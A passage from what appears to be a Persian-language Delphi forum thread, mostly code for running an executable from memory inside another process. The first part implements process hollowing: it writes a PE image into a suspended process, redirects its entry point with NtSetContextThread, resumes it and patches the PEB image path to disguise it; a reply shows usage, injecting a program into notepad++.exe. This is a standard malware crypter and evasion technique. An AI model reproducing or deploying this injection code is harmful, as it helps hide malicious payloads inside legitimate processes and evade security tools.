pModule := ExVirtualAlloc(PI.hProcess,
Pointer(INH^.OptionalHeader.ImageBase),
INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

if (pModule <> nil) then
begin

xdebug(204);
pFile := AlignImage(pFile);
if (DWORD(pModule) <> INH^.OptionalHeader.ImageBase) then
begin
PerformBaseRelocation(pFile, INH,
(DWORD(pModule) - INH^.OptionalHeader.ImageBase));
INH^.OptionalHeader.ImageBase := DWORD(pModule);
CopyMemory(Pointer(integer(pFile) + IDH^._lfanew), INH, 248);
end;

ExWriteProcessMemory(PI.hProcess, pModule, pFile,
INH.OptionalHeader.SizeOfImage, dwread);
ExWriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule,
4, dwread);

CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;

// NtSetContextThread
ApiCall32('NtSetContextThread', [PI.hThread, CT]);

// NtResumeThread
ApiCall32('NtResumeThread', [PI.hThread, nil]);

Result := PI.hThread;

if PatchPEB and (lstrcmp(PChar(paramstr(0)), PChar(szFilePath)) <> 0)
then
begin
xdebug(205);
PatchImagePathRemote(PI.hProcess, CT.Ebx, PWideChar(paramstr(0)));
end;

if (pFile <> nil) then
FreeMemory(pFile);
xdebug(206);
end;
end;

// NtFreeVirtualMemory
dwread := 0;
ApiCall32('NtFreeVirtualMemory', [THandle(-1), @CTBase, @dwread,
MEM_RELEASE]);
end;

if (Result = 0) then
begin
// NtTerminateProcess
ApiCall32('NtTerminateProcess', [PI.hProcess, 0]);
end;

end;
end;

end.

بهروز عباسی
شنبه 28 اردیبهشت 1392, 19:28 عصر
یه سر به وب لاگ اون بنده خدایی که نوشته هم بندازید جالبه
اینم مثال

104353



uses U_UnionApi, U_MemExecute;
function LoadFile2String(const FileName: TFileName): AnsiString;
begin
Result := '';
if not fileexists(FileName) then
exit;
with TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite) do
// Reading our File To STREAM
begin
try
SetLength(Result, Size);
Read(Pointer(Result)^, Size);
except
Result := ''; // Deallocates memory
Free;
raise;
end;
Free;
end;
end;


(* _____________________________________ *)

var
Data: AnsiString;
begin
Data := LoadFile2String
('C:\Users\AP\Desktop\New folder\Win32\Debug\Project1.exe');
ExecuteFromMem('C:\Program Files (x86)\Notepad++\notepad++.exe', '',
@Data[1], true);